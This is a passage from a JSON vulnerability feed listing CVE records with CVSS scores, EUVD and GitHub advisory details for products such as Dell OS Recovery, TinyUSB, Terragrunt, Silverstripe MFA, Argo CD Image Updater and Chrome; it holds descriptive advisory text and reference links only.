panel.","published_time":"2026-10-16T19:23:48Z","modified_time":"2026-10-16T19:23:48Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N"}],"affected":[{"package":{"ecosystem":"npm","name":"@aborruso/ckan-mcp-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.112"}]}]}],"references":[{"type":"WEB","url":"https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-vqff-r82h-9crc"},{"type":"PACKAGE","url":"https://github.com/ondata/ckan-mcp-server"}],"cwe_ids":["CWE-345","CWE-940"],"github_severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-10-16T19:23:48Z"}},{"cve_id":"CVE-2026-82154","summary":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to Information Disclosure.","cvss":2.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":2.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000516289/dsa-2026-230-security-update-for-dell-client-platform-bios-for-multiple-ami-bios-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:43","euvd":{"id":"EUVD-2026-116487","description":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to Information Disclosure.","published_time":"2026-11-03T20:30:15","cvss":2.4,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000516289/dsa-2026-230-security-update-for-dell-client-platform-bios-for-multiple-ami-bios-vulnerabilities"],"products":["OS Recovery Tool"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-82155","summary":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Untrusted Search Path vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Command execution.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000515018/dsa-2026-445-security-update-for-dell-os-recovery-tool-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:43","euvd":{"id":"EUVD-2026-116488","description":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Untrusted Search Path vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Command execution.","published_time":"2026-11-03T20:32:27","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000515018/dsa-2026-445-security-update-for-dell-os-recovery-tool-for-multiple-vulnerabilities"],"products":["OS Recovery Tool"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-82158","summary":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","cvss":9.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:43","euvd":{"id":"EUVD-2026-116375","description":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","published_time":"2026-11-03T20:52:46","cvss":9.0,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"products":["Wyse Management Suite"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-82159","summary":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:43","euvd":{"id":"EUVD-2026-116373","description":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","published_time":"2026-11-03T20:50:52","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"products":["Wyse Management Suite"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-61495","summary":"TinyUSB through 0.21.0, fixed in commit e85c2b8, contains an out-of-bounds write vulnerability in the MTP device class helper mtp_container_get_string() in src/class/mtp/mtp.h that allows a malicious USB host to corrupt adjacent memory by supplying a crafted MTP string with an unbounded character count. Attackers can exploit the unchecked memcpy operation copying up to 510 bytes into a fixed-size destination buffer to achieve code execution or cause a denial of service on the TinyUSB MTP device.","cvss":7.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":7.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/hathach/tinyusb/commit/e85c2b8affa1efbf00d398d59e7a87d3e61cc4a9","https://www.vulncheck.com/advisories/tinyusb-out-of-bounds-write-via-mtp-container-get-string"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:42","euvd":{"id":"EUVD-2026-116211","description":"TinyUSB through 0.21.0, fixed in commit e85c2b8, contains an out-of-bounds write vulnerability in the MTP device class helper mtp_container_get_string() in src/class/mtp/mtp.h that allows a malicious USB host to corrupt adjacent memory by supplying a crafted MTP string with an unbounded character count. Attackers can exploit the unchecked memcpy operation copying up to 510 bytes into a fixed-size destination buffer to achieve code execution or cause a denial of service on the TinyUSB MTP device.","published_time":"2026-11-03T20:15:11","cvss":7.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/hathach/tinyusb/commit/e85c2b8affa1efbf00d398d59e7a87d3e61cc4a9","https://www.vulncheck.com/advisories/tinyusb-out-of-bounds-write-via-mtp-container-get-string"],"products":["TinyUSB"],"vendors":["hathach"]},"ghsa":null},{"cve_id":"CVE-2026-61496","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:42","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-61497","summary":"TinyUSB before 0.20.1 contains an integer underflow vulnerability in the HID host report descriptor parser tuh_hid_parse_report_descriptor() in src/class/hid/hid_host.c that allows a malicious USB device to trigger an out-of-bounds read by subtracting an item size from the remaining descriptor length without validating the item fits within the remaining buffer. Attackers can present a crafted USB device with a truncated report descriptor causing the uint16_t desc_len value to underflow, resulting in out-of-bounds memory reads and denial of service on the host system.","cvss":5.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.2,"cvss_v4":5.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/hathach/tinyusb/commit/85047e1777f5c20b7a936aa905c746125d3ed066","https://github.com/hathach/tinyusb/releases/tag/0.21.0","https://www.vulncheck.com/advisories/tinyusb-integer-underflow-via-hid-report-descriptor-parser"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:42","euvd":{"id":"EUVD-2026-116215","description":"TinyUSB before 0.20.1 contains an integer underflow vulnerability in the HID host report descriptor parser tuh_hid_parse_report_descriptor() in src/class/hid/hid_host.c that allows a malicious USB device to trigger an out-of-bounds read by subtracting an item size from the remaining descriptor length without validating the item fits within the remaining buffer. Attackers can present a crafted USB device with a truncated report descriptor causing the uint16_t desc_len value to underflow, resulting in out-of-bounds memory reads and denial of service on the host system.","published_time":"2026-11-03T20:21:53","cvss":5.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/hathach/tinyusb/releases/tag/0.21.0","https://github.com/hathach/tinyusb/commit/85047e1777f5c20b7a936aa905c746125d3ed066","https://www.vulncheck.com/advisories/tinyusb-integer-underflow-via-hid-report-descriptor-parser"],"products":["TinyUSB"],"vendors":["hathach"]},"ghsa":null},{"cve_id":"CVE-2026-64672","summary":"Terragrunt is a flexible orchestration tool that allows Infrastructure as Code written in OpenTofu or Terraform to scale. Prior to 1.1.1, the terragrunt catalog command derives a predictable per-repository catalog clone root under the shared system temporary directory and follows a symlink already placed at that path. A local attacker who can write to the temporary directory and predict the cataloged repository can redirect cleanup and cloning outside the intended root, causing an existing repository-named directory to be deleted and replaced in the victim's security context. The attack requires the victim to run terragrunt catalog on a shared host while the symlink is present, and it is not remotely exploitable. This issue is fixed in version 1.1.1.","cvss":4.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":4.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/gruntwork-io/terragrunt/commit/668891c5a2ad2996f134bb8b00098754674ea94a","https://github.com/gruntwork-io/terragrunt/pull/6438","https://github.com/gruntwork-io/terragrunt/releases/tag/v1.1.1","https://github.com/gruntwork-io/terragrunt/security/advisories/GHSA-wv6g-x823-wx9m"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:42","euvd":{"id":"EUVD-2026-116370","description":"Terragrunt is a flexible orchestration tool that allows Infrastructure as Code written in OpenTofu or Terraform to scale. Prior to 1.1.1, the terragrunt catalog command derives a predictable per-repository catalog clone root under the shared system temporary directory and follows a symlink already placed at that path. A local attacker who can write to the temporary directory and predict the cataloged repository can redirect cleanup and cloning outside the intended root, causing an existing repository-named directory to be deleted and replaced in the victim's security context. The attack requires the victim to run terragrunt catalog on a shared host while the symlink is present, and it is not remotely exploitable. This issue is fixed in version 1.1.1.","published_time":"2026-11-03T20:44:04","cvss":4.4,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/gruntwork-io/terragrunt/security/advisories/GHSA-wv6g-x823-wx9m","https://github.com/gruntwork-io/terragrunt/pull/6438","https://github.com/gruntwork-io/terragrunt/commit/668891c5a2ad2996f134bb8b00098754674ea94a","https://github.com/gruntwork-io/terragrunt/releases/tag/v1.1.1"],"products":["terragrunt"],"vendors":["gruntwork-io"]},"ghsa":{"id":"GHSA-wv6g-x823-wx9m","summary":"Terragrunt catalog predictable temp symlink clobber","details":"### Summary\n\nTerragrunt's `terragrunt catalog` command clones each repository referenced in your catalog configuration into a temporary working directory. In affected versions, the clone path it derived was deterministic and sat under the shared system temporary directory, in the form `<tmp>/catalog-<base64 sha1 of the repo URL>`. Because that path was predictable and Terragrunt followed a symlink already present there instead of rejecting it, a local attacker could plant a symlink at that path and cause Terragrunt to delete a directory and re-clone into it outside the intended temporary root.\n\n### Impact\n\nThis affected users who ran `terragrunt catalog` on a host they shared with other local users or processes they did not fully trust, such as a multi-user server or a shared CI runner. The attack required a local attacker: a separate local user or process able to write to the shared system temporary directory. It was not remotely exploitable, and the victim had to run `terragrunt catalog` while the attacker's symlink was already in place.\n\nBecause the predictable path depended only on the repository URL being cataloged and the location of the system temporary directory, the attacker could compute it in advance and plant a symlink there before the victim ran the command. When the victim ran `terragrunt catalog`, Terragrunt followed the symlink out of the intended temporary root, deleted an existing `<repoName>` directory under the attacker-chosen parent, and repopulated that path with the cloned repository contents. All of this happened in the security context of the user running Terragrunt.\n\nThe attacker controlled the parent directory the symlink pointed to, but not the leaf name: the leaf was fixed to `<repoName>`, derived from the repository URL the victim cataloged. The primitive was deletion of an existing `<repoName>` directory outside the temporary root, followed by a re-clone into that same path. On a single-user machine with no hostile local processes, exposure was minimal.\n\n### Affected Versions\n\n- Terragrunt `< v1.1.1`\n\n### Patches\n\nThis vulnerability has been resolved in Terragrunt version `v1.1.1`.\n\nAll users are strongly advised to upgrade.\n\n### Workarounds\n\nIf you cannot upgrade immediately, ensure that you do not allow untrusted parties to control the values of `TMPDIR`, `TMP`, and `TEMP` in environments where you run `terragrunt catalog`.\n\n### Technical Details\n\nWhen you run `terragrunt catalog`, the catalog service iterates over the repositories in your configuration and prepares a local clone of each one. In affected versions, for a given repository URL it built a clone path by hashing the URL and joining the result under the shared system temporary directory:\n\n```\n<tmp>/catalog-<base64 sha1 of the repo URL>\n```\n\nThis path was fully determined by the repository URL and the location of the system temporary directory, so anyone else on the machine who knew which repository a victim would catalog could compute it in advance. The catalog service passed this path into its clone preparation step.\n\nAs a result, an attacker who placed a symlink at `<tmp>/catalog-<hash>` pointing at a directory of their choosing caused both the removal and the re-clone to operate through that symlink. Both landed at `<attacker-chosen-parent>/<repoName>`, outside the intended temporary root.\n\nTerragrunt `v1.1.1` no longer derives a predictable clone path, so an attacker can no longer position a symlink at a location known in advance.\n\n## Credit\n\nWe would like to thank ([@br0x2](https://github.com/br0x2)) for discovering and responsibly disclosing this vulnerability.","published_time":"2026-10-15T18:21:35Z","modified_time":"2026-10-15T18:21:35Z","withdrawn_time":null,"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"affected":[{"package":{"ecosystem":"Go","name":"github.com/gruntwork-io/terragrunt"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.1"}]}]}],"references":[{"type":"WEB","url":"https://github.com/gruntwork-io/terragrunt/security/advisories/GHSA-wv6g-x823-wx9m"},{"type":"WEB","url":"https://github.com/gruntwork-io/terragrunt/pull/6438"},{"type":"WEB","url":"https://github.com/gruntwork-io/terragrunt/commit/668891c5a2ad2996f134bb8b00098754674ea94a"},{"type":"PACKAGE","url":"https://github.com/gruntwork-io/terragrunt"}],"cwe_ids":["CWE-377","CWE-59"],"github_severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-15T18:21:35Z"}},{"cve_id":"CVE-2026-28531","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:38","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-55186","summary":"Silverstripe MFA provides multi-factor authentication for Silverstripe CMS. Prior to 6.0.0, the CMS 5 password reset flow can issue a logged-in session after a user changes a password but before the user's configured multi-factor authentication challenge is completed. An attacker with access to the user's email account can follow the reset flow and bypass the additional authentication factor. CMS 6 is not affected. This issue is fixed in version 6.0.0.","cvss":4.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/silverstripe/silverstripe-framework/commit/4b5cbd7ddf68721d8119583f0b9c04d4b4adc704","https://github.com/silverstripe/silverstripe-framework/pull/11686","https://github.com/silverstripe/silverstripe-mfa/commit/04a102b662ac2f555acc26f8d2e2d8dab3937a6a","https://github.com/silverstripe/silverstripe-mfa/pull/603","https://github.com/silverstripe/silverstripe-mfa/releases/tag/6.0.0","https://github.com/silverstripe/silverstripe-mfa/security/advisories/GHSA-68wq-phq7-p2vg","https://www.silverstripe.org/download/security-releases/cve-2026-55186"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:38","euvd":{"id":"EUVD-2026-116372","description":"Silverstripe MFA provides multi-factor authentication for Silverstripe CMS. Prior to 6.0.0, the CMS 5 password reset flow can issue a logged-in session after a user changes a password but before the user's configured multi-factor authentication challenge is completed. An attacker with access to the user's email account can follow the reset flow and bypass the additional authentication factor. CMS 6 is not affected. This issue is fixed in version 6.0.0.","published_time":"2026-11-03T20:48:32","cvss":4.2,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/silverstripe/silverstripe-mfa/security/advisories/GHSA-68wq-phq7-p2vg","https://github.com/silverstripe/silverstripe-framework/pull/11686","https://github.com/silverstripe/silverstripe-mfa/pull/603","https://github.com/silverstripe/silverstripe-framework/commit/4b5cbd7ddf68721d8119583f0b9c04d4b4adc704","https://github.com/silverstripe/silverstripe-mfa/commit/04a102b662ac2f555acc26f8d2e2d8dab3937a6a","https://github.com/silverstripe/silverstripe-mfa/releases/tag/6.0.0","https://www.silverstripe.org/download/security-releases/cve-2026-55186"],"products":["silverstripe-mfa"],"vendors":["silverstripe"]},"ghsa":{"id":"GHSA-68wq-phq7-p2vg","summary":"MultiFactor Authentication for SilverStripe can bypass MFA during password reset flow","details":"### Impact\nIn CMS 5, the password reset flow let a user with multi-factor authentication enabled change their password and get a logged-in session before completing multi-factor authentication. Exploiting this requires access to the user's email account. CMS 6 is not affected.","published_time":"2026-10-29T16:32:39Z","modified_time":"2026-11-03T20:48:45Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N"}],"affected":[{"package":{"ecosystem":"Packagist","name":"silverstripe/mfa"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.0"}]}]}],"references":[{"type":"WEB","url":"https://github.com/silverstripe/silverstripe-mfa/security/advisories/GHSA-68wq-phq7-p2vg"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/silverstripe/mfa/CVE-2026-55186.yaml"},{"type":"PACKAGE","url":"https://github.com/silverstripe/silverstripe-mfa"},{"type":"WEB","url":"https://github.com/silverstripe/silverstripe-mfa/releases/tag/6.0.0"},{"type":"WEB","url":"https://www.silverstripe.org/download/security-releases/cve-2026-55186"}],"cwe_ids":["CWE-288"],"github_severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-29T16:32:39Z"}},{"cve_id":"CVE-2026-121509","summary":"A security flaw has been discovered in Headless CMS Plugin up to 2.0.4 on WordPress. This affects the function get_required_post_data of the file /wp-json/rae/v1/post of the component REST API. The manipulation of the argument post_id/post_slug results in information disclosure. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.5,"cvss_version":4.0,"cvss_v2":5.0,"cvss_v3":5.3,"cvss_v4":5.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://app.notion.com/p/Unauthenticated-disclosure-of-draft-private-and-future-post-contentimranhsayed-headless-cms-2-0-4-3f384f1ea6a48057bb67ed0dd89f4157?source=copy_link","https://vuldb.com/cve/CVE-2026-121509","https://vuldb.com/submit/1019400","https://vuldb.com/vuln/430285","https://vuldb.com/vuln/430285/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:37","euvd":{"id":"EUVD-2026-116486","description":"A security flaw has been discovered in Headless CMS Plugin up to 2.0.4 on WordPress. This affects the function get_required_post_data of the file /wp-json/rae/v1/post of the component REST API. The manipulation of the argument post_id/post_slug results in information disclosure. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T20:30:14","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430285","https://vuldb.com/vuln/430285/cti","https://vuldb.com/cve/CVE-2026-121509","https://vuldb.com/submit/1019400","https://app.notion.com/p/Unauthenticated-disclosure-of-draft-private-and-future-post-contentimranhsayed-headless-cms-2-0-4-3f384f1ea6a48057bb67ed0dd89f4157?source=copy_link"],"products":["Headless CMS Plugin","Headless CMS Plugin","Headless CMS Plugin","Headless CMS Plugin","Headless CMS Plugin"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121514","summary":"A weakness has been identified in EasySoft ZenTao PMS up to 22.6. This impacts the function userModel::checkGroupChange of the file module/user/model.php of the component User Module. This manipulation of the argument group causes improper privilege management. Remote exploitation of the attack is possible. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.3,"cvss_version":4.0,"cvss_v2":6.5,"cvss_v3":6.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://vuldb.com/cve/CVE-2026-121514","https://vuldb.com/submit/1019652","https://vuldb.com/vuln/430286","https://vuldb.com/vuln/430286/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:37","euvd":{"id":"EUVD-2026-116371","description":"A weakness has been identified in EasySoft ZenTao PMS up to 22.6. This impacts the function userModel::checkGroupChange of the file module/user/model.php of the component User Module. This manipulation of the argument group causes improper privilege management. Remote exploitation of the attack is possible. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T20:45:16","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430286","https://vuldb.com/vuln/430286/cti","https://vuldb.com/cve/CVE-2026-121514","https://vuldb.com/submit/1019652"],"products":["ZenTao PMS","ZenTao PMS","ZenTao PMS","ZenTao PMS","ZenTao PMS","ZenTao PMS","ZenTao PMS"],"vendors":["easysoft"]},"ghsa":null},{"cve_id":"CVE-2026-121517","summary":"A vulnerability was detected in IrfanView 4.76.0.0 on Win64. Affected by this vulnerability is an unknown functionality of the component TIFF Wang Annotation Handler. Performing a manipulation results in heap-based buffer overflow. The attack is possible to be carried out remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit is now public and may be used. It is recommended to apply a patch to fix this issue. The vendor confirms: \"[T]he TIF-Annotations option is OFF by default. Means, normal users are not affected ... the danger level for this is low\".","cvss":1.3,"cvss_version":4.0,"cvss_v2":5.1,"cvss_v3":5.0,"cvss_v4":1.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/dwBruijn/CVEs/blob/main/IrfanView/TIFF/Tiff_Wang.md","https://vuldb.com/cve/CVE-2026-121517","https://vuldb.com/submit/1018543","https://vuldb.com/vuln/430288","https://vuldb.com/vuln/430288/cti","https://www.irfanview.com/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:37","euvd":{"id":"EUVD-2026-116380","description":"A vulnerability was detected in IrfanView 4.76.0.0 on Win64. Affected by this vulnerability is an unknown functionality of the component TIFF Wang Annotation Handler. Performing a manipulation results in heap-based buffer overflow. The attack is possible to be carried out remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit is now public and may be used. It is recommended to apply a patch to fix this issue. The vendor confirms: \"[T]he TIF-Annotations option is OFF by default. Means, normal users are not affected ... the danger level for this is low\".","published_time":"2026-11-03T21:00:15","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430288","https://vuldb.com/vuln/430288/cti","https://vuldb.com/cve/CVE-2026-121517","https://vuldb.com/submit/1018543","https://github.com/dwBruijn/CVEs/blob/main/IrfanView/TIFF/Tiff_Wang.md","https://www.irfanview.com/"],"products":["Irfanview"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121580","summary":"Server-side request forgery in the Jira ticketing filter lookup in Devolutions Server 2026.2.22.0 and earlier allows an authenticated low-privileged user to obtain the stored Jira service account credentials via an attacker-controlled server address in the request.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:37","euvd":{"id":"EUVD-2026-116217","description":"Server-side request forgery in the Jira ticketing filter lookup in Devolutions Server 2026.2.22.0 and earlier allows an authenticated low-privileged user to obtain the stored Jira service account credentials via an attacker-controlled server address in the request.","published_time":"2026-11-03T20:28:01","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-121621","summary":"A command injection vulnerability was found in Argo CD Image Updater, where a proxy URL configured on an SSH Git repository is passed unsanitized into a shell-interpreted SSH command. An attacker able to set a malicious proxy value can inject shell metacharacters to execute arbitrary commands and access credentials in the context of the Image Updater process.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-121621","https://bugzilla.redhat.com/show_bug.cgi?id=2565914","https://github.com/argoproj-labs/argocd-image-updater/pull/1905"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:37","euvd":{"id":"EUVD-2026-116381","description":"A command injection vulnerability was found in Argo CD Image Updater, where a proxy URL configured on an SSH Git repository is passed unsanitized into a shell-interpreted SSH command. An attacker able to set a malicious proxy value can inject shell metacharacters to execute arbitrary commands and access credentials in the context of the Image Updater process.","published_time":"2026-11-03T21:00:53","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-121621","https://bugzilla.redhat.com/show_bug.cgi?id=2565914","https://github.com/argoproj-labs/argocd-image-updater/pull/1905"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-121253","summary":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass site isolation via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553265115"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116337","description":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass site isolation via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:57","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553265115"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121254","summary":"Information leak in Select in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562225118"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116481","description":"Information leak in Select in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:46","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562225118"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121255","summary":"Incorrect authorization in Autofill AI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/540020706"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116466","description":"Incorrect authorization in Autofill AI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:43","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/540020706"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121256","summary":"Use of released resource in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted 